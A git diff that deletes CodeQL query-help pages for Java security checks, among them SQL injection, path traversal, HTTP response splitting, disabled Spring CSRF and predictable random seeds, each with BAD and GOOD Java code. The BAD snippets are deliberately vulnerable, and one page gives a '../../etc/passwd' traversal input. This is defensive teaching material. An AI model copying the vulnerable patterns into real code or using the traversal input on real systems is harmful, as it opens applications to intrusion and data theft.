a/docs/language/query-help/java/NumericCastTainted.md b/docs/language/query-help/java/NumericCastTainted.md deleted file mode 100644 index 6b32ad27e8f..00000000000 --- a/docs/language/query-help/java/NumericCastTainted.md +++ /dev/null @@ -1,64 +0,0 @@ -# User-controlled data in numeric cast - -``` -ID: java/tainted-numeric-cast -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-197 external/cwe/cwe-681 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-681/NumericCastTainted.ql) - -Casting a user-controlled numeric value to a narrower type can result in truncated values unless the input is validated. - -Narrowing conversions may cause potentially unintended results. For example, casting the positive integer value `128` to type `byte` yields the negative value `-128`. - - -## Recommendation -Guard against unexpected truncation of user-controlled arithmetic data by doing one of the following: - -* Validate the user input. -* Define a guard on the cast expression, so that the cast is performed only if the input is known to be within the range of the resulting type. -* Avoid casting to a narrower type, and instead continue to use a wider type. - -## Example -In this example, a value is read from standard input into a `long`. Because the value is a user-controlled value, it could be extremely large. Casting this value to a narrower type could therefore cause unexpected truncation. The `scaled2` example uses a guard to avoid this problem and checks the range of the input before performing the cast. If the value is too large to cast to type `int` it is rejected as invalid. - - -```java -class Test { - public static void main(String[] args) throws IOException { - { - long data; - - BufferedReader readerBuffered = new BufferedReader( - new InputStreamReader(System.in, "UTF-8")); - String stringNumber = readerBuffered.readLine(); - if (stringNumber != null) { - data = Long.parseLong(stringNumber.trim()); - } else { - data = 0; - } - - // AVOID: potential truncation if input data is very large, - // for example 'Long.MAX_VALUE' - int scaled = (int)data; - - //... - - // GOOD: use a guard to ensure no truncation occurs - int scaled2; - if (data > Integer.MIN_VALUE && data < Integer.MAX_VALUE) - scaled2 = (int)data; - else - throw new IllegalArgumentException("Invalid input"); - } - } -} -``` - -## References -* The CERT Oracle Secure Coding Standard for Java: [NUM12-J. Ensure conversions of numeric types to narrower types do not result in lost or misinterpreted data](https://www.securecoding.cert.org/confluence/display/java/NUM12-J.+Ensure+conversions+of+numeric+types+to+narrower+types+do+not+result+in+lost+or+misinterpreted+data). -* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html). -* Common Weakness Enumeration: [CWE-681](https://cwe.mitre.org/data/definitions/681.html). \ No newline at end of file diff --git a/docs/language/query-help/java/PotentiallyDangerousFunction.md b/docs/language/query-help/java/PotentiallyDangerousFunction.md deleted file mode 100644 index 219a6a77282..00000000000 --- a/docs/language/query-help/java/PotentiallyDangerousFunction.md +++ /dev/null @@ -1,50 +0,0 @@ -# Use of a potentially dangerous function - -``` -ID: java/potentially-dangerous-function -Kind: problem -Severity: warning -Precision: medium -Tags: reliability security external/cwe/cwe-676 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-676/PotentiallyDangerousFunction.ql) - -This rule finds calls to methods that are dangerous to use. Currently, it checks for calls to `Thread.stop`. - -Stopping a thread with `Thread.stop` causes it to receive a `ThreadDeath` exception. That exception propagates up the stack, releasing all monitors that the thread was holding. In some cases the relevant code will be protected by catching the `ThreadDeath` exception and cleaning up, but because the exception can potentially be thrown from so very many locations, it is impractical to catch all such cases. As a result, calling `Thread.stop` is likely to result in corrupt data. - - -## Recommendation -The best solution is usually to provide an alternate communication mechanism for the thread that might need to be interrupted early. For example, Oracle gives the following example of using a volatile variable to communicate whether the worker thread should exit: - - -```java -private volatile Thread blinker; - -public void stop() { - blinker = null; -} - -public void run() { - Thread thisThread = Thread.currentThread(); - while (blinker == thisThread) { - try { - Thread.sleep(interval); - } catch (InterruptedException e){ - } - repaint(); - } -} - -``` -It is also possible to use `Thread.interrupt` and to catch and handle `InterruptedException` when it occurs. However, it can be difficult to handle an `InterruptedException` everywhere it might occur; for example, the sample code above simply discards the exception rather than actually exiting the thread. - -Another strategy is to use message passing, for example via a `BlockingQueue`. In addition to passing the worker thread its ordinary work via such a message queue, the worker can be asked to exit by a particular kind of message being sent on the queue. - - -## References -* The CERT Oracle Secure Coding Standard for Java: [THI05-J. Do not use Thread.stop() to terminate threads](https://www.securecoding.cert.org/confluence/display/java/THI05-J.+Do+not+use+Thread.stop%28%29+to+terminate+threads). -* Java SE Documentation: [Java Thread Primitive Deprecation](http://docs.oracle.com/javase/7/docs/technotes/guides/concurrency/threadPrimitiveDeprecation.html). -* Java API: [Thread.interrupt](http://docs.oracle.com/javase/7/docs/api/java/lang/Thread.html#interrupt()), [BlockingQueue](http://docs.oracle.com/javase/7/docs/api/java/util/concurrent/BlockingQueue.html). -* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html). \ No newline at end of file diff --git a/docs/language/query-help/java/PredictableSeed.md b/docs/language/query-help/java/PredictableSeed.md deleted file mode 100644 index b1f12cc965c..00000000000 --- a/docs/language/query-help/java/PredictableSeed.md +++ /dev/null @@ -1,46 +0,0 @@ -# Use of a predictable seed in a secure random number generator - -``` -ID: java/predictable-seed -Kind: problem -Severity: error -Precision: high -Tags: security - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-335/PredictableSeed.ql) - -Using a predictable seed in a pseudo-random number generator can lead to predictability of the numbers generated by it. - - -## Recommendation -If the predictability of the pseudo-random number generator does not matter then consider using the faster `Random` class from `java.util`. If it is important that the pseudo-random number generator produces completely unpredictable values then either let the generator securely seed itself by not specifying a seed or specify a randomly generated, unpredictable seed. - - -## Example -In the first example shown here, a constant value is used as a seed. Depending on the implementation of ` SecureRandom`, this could lead to the same random number being generated each time the code is executed. - -In the second example shown here, the system time is used as a seed. Depending on the implementation of ` SecureRandom`, if an attacker knows what time the code was run, they could predict the generated random number. - -In the third example shown here, the random number generator is allowed to generate its own seed, which it will do in a secure way. - - -```java -SecureRandom prng = new SecureRandom(); -int randomData = 0; - -// BAD: Using a constant value as a seed for a random number generator means all numbers it generates are predictable. -prng.setSeed(12345L); -randomData = prng.next(32); - -// BAD: System.currentTimeMillis() returns the system time which is predictable. -prng.setSeed(System.currentTimeMillis()); -randomData = prng.next(32); - -// GOOD: SecureRandom implementations seed themselves securely by default. -prng = new SecureRandom(); -randomData = prng.next(32); - -``` - -## References \ No newline at end of file diff --git a/docs/language/query-help/java/ReadingFromWorldWritableFile.md b/docs/language/query-help/java/ReadingFromWorldWritableFile.md deleted file mode 100644 index f349e033c4b..00000000000 --- a/docs/language/query-help/java/ReadingFromWorldWritableFile.md +++ /dev/null @@ -1,44 +0,0 @@ -# Reading from a world writable file - -``` -ID: java/world-writable-file-read -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-732 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-732/ReadingFromWorldWritableFile.ql) - -Reading from a world-writable file is dangerous on a multi-user system because other users may be able to affect program execution by modifying or deleting the file. - - -## Recommendation -Do not make files explicitly world writable unless the file is intended to be written by multiple users on a multi-user system. In many cases, the file may only need to be writable for the current user. - -For some file systems, there may be alternatives to setting the file to be world writable. For example, POSIX file systems support "groups" which may be used to ensure that only subset of all the users can write to the file. Access Control Lists (ACLs) are available for many operating system and file system combinations, and can provide fine-grained read and write support without resorting to world writable permissions. - - -## Example -In the following example, we are loading some configuration parameters from a file: - -```java - -private void readConfig(File configFile) { - if (!configFile.exists()) { - // Create an empty config file - configFile.createNewFile(); - // Make the file writable for all - configFile.setWritable(true, false); - } - // Now read the config - loadConfig(configFile); -} - -``` -If the configuration file does not yet exist, an empty file is created. Creating an empty file can simplify the later code and is a convenience for the user. However, by setting the file to be world writable, we allow any user on the system to modify the configuration, not just the current user. If there may be untrusted users on the system, this is potentially dangerous. - - -## References -* The CERT Oracle Secure Coding Standard for Java: [FIO01-J. Create files with appropriate access permissions](https://www.securecoding.cert.org/confluence/display/java/FIO01-J.+Create+files+with+appropriate+access+permissions). -* Common Weakness Enumeration: [CWE-732](https://cwe.mitre.org/data/definitions/732.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ResponseSplitting.md b/docs/language/query-help/java/ResponseSplitting.md deleted file mode 100644 index b86c2ae34ef..00000000000 --- a/docs/language/query-help/java/ResponseSplitting.md +++ /dev/null @@ -1,72 +0,0 @@ -# HTTP response splitting - -``` -ID: java/http-response-splitting -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-113 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-113/ResponseSplitting.ql) - -Directly writing user input (for example, an HTTP request parameter) to an HTTP header can lead to an HTTP response-splitting vulnerability. If the user input includes blank lines in it, and if the servlet container does not itself escape the blank lines, then a remote user can cause the response to turn into two separate responses, one of which is controlled by the remote user. - - -## Recommendation -Guard against HTTP header splitting in the same way as guarding against cross-site scripting. Before passing any data into HTTP headers, either check the data for special characters, or escape any special characters that are present. - - -## Example -The following example shows the 'name' parameter being written to a cookie in two different ways. The first way writes it directly to the cookie, and thus is vulnerable to response-splitting attacks. The second way first removes all special characters, thus avoiding the potential problem. - - -```java -public class ResponseSplitting extends HttpServlet { - protected void doGet(HttpServletRequest request, HttpServletResponse response) - throws ServletException, IOException { - // BAD: setting a cookie with an unvalidated parameter - Cookie cookie = new Cookie("name", request.getParameter("name")); - response.addCookie(cookie); - - // GOOD: remove special characters before putting them in the header - String name = removeSpecial(request.getParameter("name")); - Cookie cookie2 = new Cookie("name", name); - response.addCookie(cookie2); - } - - private static String removeSpecial(String str) { - return str.replaceAll("[^a-zA-Z ]", ""); - } -} - -``` - -## Example -The following example shows the use of the library 'netty' with HTTP response-splitting verification configurations. The second way will verify the parameters before using them to build the HTTP response. - - -```java -import io.netty.handler.codec.http.DefaultHttpHeaders; - -public class ResponseSplitting { - // BAD: Disables the internal response splitting verification - private final DefaultHttpHeaders badHeaders = new DefaultHttpHeaders(false); - - // GOOD: Verifies headers passed don't contain CRLF characters - private final DefaultHttpHeaders goodHeaders = new DefaultHttpHeaders(); - - // BAD: Disables the internal response splitting verification - private final DefaultHttpResponse badResponse = new DefaultHttpResponse(version, httpResponseStatus, false); - - // GOOD: Verifies headers passed don't contain CRLF characters - private final DefaultHttpResponse goodResponse = new DefaultHttpResponse(version, httpResponseStatus); -} - -``` - -## References -* InfosecWriters: [HTTP response splitting](http://www.infosecwriters.com/Papers/DCrab_HTTP_Response.pdf). -* OWASP: [HTTP Response Splitting](https://www.owasp.org/index.php/HTTP_Response_Splitting). -* Wikipedia: [HTTP response splitting](http://en.wikipedia.org/wiki/HTTP_response_splitting). -* Common Weakness Enumeration: [CWE-113](https://cwe.mitre.org/data/definitions/113.html). \ No newline at end of file diff --git a/docs/language/query-help/java/SocketAuthRace.md b/docs/language/query-help/java/SocketAuthRace.md deleted file mode 100644 index 4c7791290e5..00000000000 --- a/docs/language/query-help/java/SocketAuthRace.md +++ /dev/null @@ -1,49 +0,0 @@ -# Race condition in socket authentication - -``` -ID: java/socket-auth-race-condition -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-421 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-421/SocketAuthRace.ql) - -A common pattern is to have a channel of communication open with a user, and then to open another channel, for example to transfer data. However, if user authentication is done over the original channel rather than the alternate channel, then an attacker may be able to connect to the alternate channel before the legitimate user does. This allows the attacker to impersonate the user by "piggybacking" on any previous authentication. - - -## Recommendation -When opening an alternate channel for an authenticated user (for example, a Java `Socket`), always authenticate the user over the new channel. - - -## Example -This example shows two ways of opening a connection for a user. In the first example, authentication is determined based on materials that the user has already provided (for example, their username and/or password), and then a new channel is opened. However, no authentication is done over the new channel, and so an attacker could connect to it before the user connects. - -In the second example, authentication is done over the socket channel itself, which verifies that the newly connected user is in fact the user that was expected. - - -```java -public void doConnect(int desiredPort, String username) { - ServerSocket listenSocket = new ServerSocket(desiredPort); - - if (isAuthenticated(username)) { - Socket connection1 = listenSocket.accept(); - // BAD: no authentication over the socket connection - connection1.getOutputStream().write(secretData); - } -} - -public void doConnect(int desiredPort, String username) { - ServerSocket listenSocket = new ServerSocket(desiredPort); - - Socket connection2 = listenSocket.accept(); - // GOOD: authentication happens over the socket - if (doAuthenticate(connection2, username)) { - connection2.getOutputStream().write(secretData); - } -} -``` - -## References -* Common Weakness Enumeration: [CWE-421](https://cwe.mitre.org/data/definitions/421.html). \ No newline at end of file diff --git a/docs/language/query-help/java/SpringCSRFProtection.md b/docs/language/query-help/java/SpringCSRFProtection.md deleted file mode 100644 index 5c43ea25786..00000000000 --- a/docs/language/query-help/java/SpringCSRFProtection.md +++ /dev/null @@ -1,48 +0,0 @@ -# Disabled Spring CSRF protection - -``` -ID: java/spring-disabled-csrf-protection -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-352 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-352/SpringCSRFProtection.ql) - -When you set up a web server to receive a request from a client without any mechanism for verifying that it was intentionally sent, then it is vulnerable to attack. An attacker can trick a client into making an unintended request to the web server that will be treated as an authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and can result in exposure of data or unintended code execution. - - -## Recommendation -When you use Spring, Cross-Site Request Forgery (CSRF) protection is enabled by default. Spring's recommendation is to use CSRF protection for any request that could be processed by a browser client by normal users. - - -## Example -The following example shows the Spring Java configuration with CSRF protection disabled. This type of configuration should only be used if you are creating a service that is used only by non-browser clients. - - -```java -import org.springframework.context.annotation.Configuration; -import org.springframework.security.config.annotation.web.builders.HttpSecurity; -import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; -import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; - -@EnableWebSecurity -@Configuration -public class WebSecurityConfig extends WebSecurityConfigurerAdapter { - @Override - protected void configure(HttpSecurity http) throws Exception { - http - .csrf(csrf -> - // BAD - CSRF protection shouldn't be disabled - csrf.disable() - ); - } -} - -``` - -## References -* OWASP: [Cross-Site Request Forgery (CSRF)](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)). -* Spring Security Reference: [ Cross Site Request Forgery (CSRF) for Servlet Environments ](https://docs.spring.io/spring-security/site/docs/current/reference/html5/#servlet-csrf). -* Common Weakness Enumeration: [CWE-352](https://cwe.mitre.org/data/definitions/352.html). \ No newline at end of file diff --git a/docs/language/query-help/java/SqlTainted.md b/docs/language/query-help/java/SqlTainted.md deleted file mode 100644 index 9c4a07db586..00000000000 --- a/docs/language/query-help/java/SqlTainted.md +++ /dev/null @@ -1,122 +0,0 @@ -# Query built from user-controlled sources - -``` -ID: java/sql-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-089 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-089/SqlTainted.ql) - -If a database query is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to run malicious database queries. This applies to various database query languages, including SQL and the Java Persistence Query Language. - - -## Recommendation -Usually, it is better to use a SQL prepared statement than to build a complete SQL query with string concatenation. A prepared statement can include a wildcard, written as a question mark (?), for each part of the SQL query that is expected to be filled in by a different value each time it is run. When the query is later executed, a value must be supplied for each wildcard in the query. - -In the Java Persistence Query Language, it is better to use queries with parameters than to build a complete query with string concatenation. A Java Persistence query can include a parameter placeholder for each part of the query that is expected to be filled in by a different value when run. A parameter placeholder may be indicated by a colon (:) followed by a parameter name, or by a question mark (?) followed by an integer position. When the query is later executed, a value must be supplied for each parameter in the query, using the `setParameter` method. Specifying the query using the `@NamedQuery` annotation introduces an additional level of safety: the query must be a constant string literal, preventing construction by string concatenation, and the only way to fill in values for parts of the query is by setting positional parameters. - -It is good practice to use prepared statements (in SQL) or query parameters (in the Java Persistence Query Language) for supplying parameter values to a query, whether or not any of the parameters are directly traceable to user input. Doing so avoids any need to worry about quoting and escaping. - - -## Example -In the following example, the code runs a simple SQL query in two different ways. - -The first way involves building a query, `query1`, by concatenating an environment variable with some string literals. The environment variable can include special characters, so this code allows for SQL injection attacks. - -The second way, which shows good practice, involves building a query, `query2`, with a single string literal that includes a wildcard (`?`). The wildcard is then given a value by calling `setString`. This version is immune to injection attacks, because any special characters in the environment variable are not given any special treatment. - - -```java -{ - // BAD: the category might have SQL special characters in it - String category = System.getenv("ITEM_CATEGORY"); - Statement statement = connection.createStatement(); - String query1 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" - + category + "' ORDER BY PRICE"; - ResultSet results = statement.executeQuery(query1); -} - -{ - // GOOD: use a prepared query - String category = System.getenv("ITEM_CATEGORY"); - String query2 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=? ORDER BY PRICE"; - PreparedStatement statement = connection.prepareStatement(query2); - statement.setString(1, category); - ResultSet results = statement.executeQuery(); -} -``` - -## Example -The following code shows several different ways to run a Java Persistence query. - -The first example involves building a query, `query1`, by concatenating an environment variable with some string literals. Just like the SQL example, the environment variable can include special characters, so this code allows for Java Persistence query injection attacks. - -The remaining examples demonstrate different methods for safely building a Java Persistence query with user-supplied values: - -1. `query2` uses a single string literal that includes a placeholder for a parameter, indicated by a colon (`:`) and parameter name (`category`). -1. `query3` uses a single string literal that includes a placeholder for a parameter, indicated by a question mark (`?`) and position number (`1`). -1. `namedQuery1` is defined using the `@NamedQuery` annotation, whose `query` attribute is a string literal that includes a placeholder for a parameter, indicated by a colon (`:`) and parameter name (`category`). -1. `namedQuery2` is defined using the `@NamedQuery` annotation, whose `query` attribute includes a placeholder for a parameter, indicated by a question mark (`?`) and position number (`1`). -The parameter is then given a value by calling `setParameter`. These versions are immune to injection attacks, because any special characters in the environment variable or user-supplied value are not given any special treatment. - - -```java -{ - // BAD: the category might have Java Persistence Query Language special characters in it - String category = System.getenv("ITEM_CATEGORY"); - Statement statement = connection.createStatement(); - String query1 = "SELECT p FROM Product p WHERE p.category LIKE '" - + category + "' ORDER BY p.price"; - Query q = entityManager.createQuery(query1); -} - -{ - // GOOD: use a named parameter and set its value - String category = System.getenv("ITEM_CATEGORY"); - String query2 = "SELECT p FROM Product p WHERE p.category LIKE :category ORDER BY p.price" - Query q = entityManager.createQuery(query2); - q.setParameter("category", category); -} - -{ - // GOOD: use a positional parameter and set its value - String category = System.getenv("ITEM_CATEGORY"); - String query3 = "SELECT p FROM Product p WHERE p.category LIKE ?1 ORDER BY p.price" - Query q = entityManager.createQuery(query3); - q.setParameter(1, category); -} - -{ - // GOOD: use a named query with a named parameter and set its value - @NamedQuery( - name="lookupByCategory", - query="SELECT p FROM Product p WHERE p.category LIKE :category ORDER BY p.price") - private static class NQ {} - ... - String category = System.getenv("ITEM_CATEGORY"); - Query namedQuery1 = entityManager.createNamedQuery("lookupByCategory"); - namedQuery1.setParameter("category", category); -} - -{ - // GOOD: use a named query with a positional parameter and set its value - @NamedQuery( - name="lookupByCategory", - query="SELECT p FROM Product p WHERE p.category LIKE ?1 ORDER BY p.price") - private static class NQ {} - ... - String category = System.getenv("ITEM_CATEGORY"); - Query namedQuery2 = entityManager.createNamedQuery("lookupByCategory"); - namedQuery2.setParameter(1, category); -} -``` - -## References -* OWASP: [SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html). -* The CERT Oracle Secure Coding Standard for Java: [IDS00-J. Prevent SQL injection](https://www.securecoding.cert.org/confluence/display/java/IDS00-J.+Prevent+SQL+injection). -* The Java Tutorials: [Using Prepared Statements](http://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html). -* The Java EE Tutorial: [The Java Persistence Query Language](https://docs.oracle.com/javaee/7/tutorial/persistence-querylanguage.htm). -* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/java/SqlUnescaped.md b/docs/language/query-help/java/SqlUnescaped.md deleted file mode 100644 index ff991614960..00000000000 --- a/docs/language/query-help/java/SqlUnescaped.md +++ /dev/null @@ -1,56 +0,0 @@ -# Query built without neutralizing special characters - -``` -ID: java/concatenated-sql-query -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-089 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-089/SqlUnescaped.ql) - -Even when the components of a SQL query are not fully controlled by a user, it is a vulnerability to concatenate those components into a SQL query without neutralizing special characters. Perhaps a separate vulnerability will allow the user to gain control of the component. As well, a user who cannot gain full control of an input might influence it enough to cause the SQL query to fail to run. - - -## Recommendation -Usually, it is better to use a SQL prepared statement than to build a complete SQL query with string concatenation. A prepared statement can include a wildcard, written as a question mark (?), for each part of the SQL query that is expected to be filled in by a different value each time it is run. When the query is later executed, a value must be supplied for each wildcard in the query. - -In the Java Persistence Query Language, it is better to use queries with parameters than to build a complete query with string concatenation. A Java Persistence query can include a parameter placeholder for each part of the query that is expected to be filled in by a different value when run. A parameter placeholder may be indicated by a colon (:) followed by a parameter name, or by a question mark (?) followed by an integer position. When the query is later executed, a value must be supplied for each parameter in the query, using the `setParameter` method. Specifying the query using the `@NamedQuery` annotation introduces an additional level of safety: the query must be a constant string literal, preventing construction by string concatenation, and the only way to fill in values for parts of the query is by setting positional parameters. - -It is good practice to use prepared statements (in SQL) or query parameters (in the Java Persistence Query Language) for supplying parameter values to a query, whether or not any of the parameters are directly traceable to user input. Doing so avoids any need to worry about quoting and escaping. - - -## Example -In the following example, the code runs a simple SQL query in two different ways. - -The first way involves building a query, `query1`, by concatenating the result of `getCategory` with some string literals. The result of `getCategory` can include special characters, or it might be refactored later so that it may return something that contains special characters. - -The second way, which shows good practice, involves building a query, `query2`, with a single string literal that includes a wildcard (`?`). The wildcard is then given a value by calling `setString`. This version is immune to injection attacks, because any special characters in the result of `getCategory` are not given any special treatment. - - -```java -{ - // BAD: the category might have SQL special characters in it - String category = getCategory(); - Statement statement = connection.createStatement(); - String query1 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" - + category + "' ORDER BY PRICE"; - ResultSet results = statement.executeQuery(query1); -} - -{ - // GOOD: use a prepared query - String category = getCategory(); - String query2 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=? ORDER BY PRICE"; - PreparedStatement statement = connection.prepareStatement(query2); - statement.setString(1, category); - ResultSet results = statement.executeQuery(); -} -``` - -## References -* OWASP: [SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html). -* The CERT Oracle Secure Coding Standard for Java: [IDS00-J. Prevent SQL injection](https://www.securecoding.cert.org/confluence/display/java/IDS00-J.+Prevent+SQL+injection). -* The Java Tutorials: [Using Prepared Statements](http://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html). -* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/java/StackTraceExposure.md b/docs/language/query-help/java/StackTraceExposure.md deleted file mode 100644 index 9f1c47fd66f..00000000000 --- a/docs/language/query-help/java/StackTraceExposure.md +++ /dev/null @@ -1,54 +0,0 @@ -# Information exposure through a stack trace - -``` -ID: java/stack-trace-exposure -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-209 external/cwe/cwe-497 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-209/StackTraceExposure.ql) - -Software developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred. - -Unfortunately, the same information can be useful to an attacker. The sequence of class names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack. - - -## Recommendation -Send the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server. - - -## Example -In the following example, an exception is handled in two different ways. In the first version, labeled BAD, the exception is sent back to the remote user using the `sendError()` method. As such, the user is able to see a detailed stack trace, which may contain sensitive information. In the second version, the error message is logged only on the server. That way, the developers can still access and use the error log, but remote users will not see the information. - - -```java -protected void doGet(HttpServletRequest request, HttpServletResponse response) { - try { - doSomeWork(); - } catch (NullPointerException ex) { - // BAD: printing a stack trace back to the response - ex.printStackTrace(response.getWriter()); - return; - } - - try { - doSomeWork(); - } catch (NullPointerException ex) { - // GOOD: log the stack trace, and send back a non-revealing response - log("Exception occurred", ex); - response.sendError( - HttpServletResponse.SC_INTERNAL_SERVER_ERROR, - "Exception occurred"); - return; - } -} - -``` - -## References -* OWASP: [Information Leak](https://www.owasp.org/index.php/Information_Leak_(information_disclosure)). -* CERT Java Coding Standard: [ERR01-J. Do not allow exceptions to expose sensitive information](https://www.securecoding.cert.org/confluence/display/java/ERR01-J.+Do+not+allow+exceptions+to+expose+sensitive+information). -* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html). -* Common Weakness Enumeration: [CWE-497](https://cwe.mitre.org/data/definitions/497.html). \ No newline at end of file diff --git a/docs/language/query-help/java/TOCTOURace.md b/docs/language/query-help/java/TOCTOURace.md deleted file mode 100644 index f7635dc69da..00000000000 --- a/docs/language/query-help/java/TOCTOURace.md +++ /dev/null @@ -1,63 +0,0 @@ -# Time-of-check time-of-use race condition - -``` -ID: java/toctou-race-condition -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-367 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-367/TOCTOURace.ql) - -Often it is necessary to check the state of a resource before using it. If the resource is accessed concurrently, then the check and the use need to be performed atomically, otherwise the state of the resource may change between the check and the use. This can lead to a "time-of-check/time-of-use" (TOCTOU) race condition. - -In Java, classes may present state inspection methods and operation methods which are synchronized. This prevents multiple threads from executing those methods simultaneously, but it does not prevent a state change in between separate method invocations. - - -## Recommendation -When calling a series of methods which require a consistent view of an object, make sure to synchronize on a monitor that will prevent any other access to the object during your operations. - -If the class that you are using has a well-designed interface, then synchronizing on the object itself will prevent its state being changed inappropriately. - - -## Example -The following example shows a resource which has a readiness state, and an action that is only valid if the resource is ready. - -In the bad case, the caller checks the readiness state and then acts, but does not synchronize around the two calls, so the readiness state may be changed by another thread. - -In the good case, the caller jointly synchronizes the check and the use on the resource, so no other thread can modify the state before the use. - - -```java -class Resource { - public synchronized boolean isReady() { ... } - - public synchronized void setReady(boolean ready) { ... } - - public synchronized void act() { - if (!isReady()) - throw new IllegalStateException(); - ... - } -} - -public synchronized void bad(Resource r) { - if (r.isReady()) { - // r might no longer be ready, another thread might - // have called setReady(false) - r.act(); - } -} - -public synchronized void good(Resource r) { - synchronized(r) { - if (r.isReady()) { - r.act(); - } - } -} -``` - -## References -* Common Weakness Enumeration: [CWE-367](https://cwe.mitre.org/data/definitions/367.html). \ No newline at end of file diff --git a/docs/language/query-help/java/TaintedPath.md b/docs/language/query-help/java/TaintedPath.md deleted file mode 100644 index 38c15c009a5..00000000000 --- a/docs/language/query-help/java/TaintedPath.md +++ /dev/null @@ -1,62 +0,0 @@ -# Uncontrolled data used in path expression - -``` -ID: java/path-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-022/TaintedPath.ql) - -Accessing paths controlled by users can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. - -Paths that are naively constructed from data controlled by a user may contain unexpected special characters, such as "..". Such a path may potentially point to any directory on the file system. - - -## Recommendation -Validate user input before using it to construct a file path. Ideally, follow these rules: - -* Do not allow more than a single "." character. -* Do not allow directory separators such as "/" or "\" (depending on the file system). -* Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//" the resulting string would still be "../". -* Ideally use a whitelist of known good patterns. - -## Example -In this example, a file name is read from a `java.net.Socket` and then used to access a file in the user's home directory and send it back over the socket. However, a malicious user could enter a file name which contains special characters. For example, the string "../../etc/passwd" will result in the code reading the file located at "/home/[user]/../../etc/passwd", which is the system's password file. This file would then be sent back to the user, giving them access to all the system's passwords. - - -```java -public void sendUserFile(Socket sock, String user) { - BufferedReader filenameReader = new BufferedReader( - new InputStreamReader(sock.getInputStream(), "UTF-8")); - String filename = filenameReader.readLine(); - // BAD: read from a file using a path controlled by the user - BufferedReader fileReader = new BufferedReader( - new FileReader("/home/" + user + "/" + filename)); - String fileLine = fileReader.readLine(); - while(fileLine != null) { - sock.getOutputStream().write(fileLine.getBytes()); - fileLine = fileReader.readLine(); - } -} - -public void sendUserFileFixed(Socket sock, String user) { - // ... - - // GOOD: remove all dots and directory delimiters from the filename before using - String filename = filenameReader.readLine().replaceAll("\.", "").replaceAll("/", ""); - BufferedReader fileReader = new BufferedReader( - new FileReader("/home/" + user + "/" + filename)); - - // ... -} -``` - -## References -* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). -* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). -* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html). -* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html). -* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html). \ No newline at end of file diff --git a/docs/language/query-help/java/TaintedPermissionsCheck.md 